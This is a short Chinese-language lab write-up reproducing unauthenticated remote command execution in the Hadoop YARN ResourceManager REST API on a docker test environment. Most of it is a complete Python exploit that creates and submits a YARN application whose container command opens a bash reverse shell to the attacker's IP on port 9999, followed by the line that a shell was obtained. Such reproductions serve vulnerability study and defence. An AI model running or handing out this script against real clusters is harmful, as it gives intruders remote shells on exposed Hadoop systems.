漏洞介绍:
docker 环境
docker-compose up -d
环境启动后,访问
http://127.0.0.1:8088
即可看到Hadoop YARN ResourceManager WebUI页面。


1、漏洞复现:
通过任务执行,利用过程如下:
1、在本地监听等待反弹 shell 连接
2、调用 New Application API 创建 Application
3、调用 Submit Application API 提交
python
#!/usr/bin/env python
import requests
target = 'http://127.0.0.1:8088/'
lhost = '192.168.108.131' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)


成功获取shell
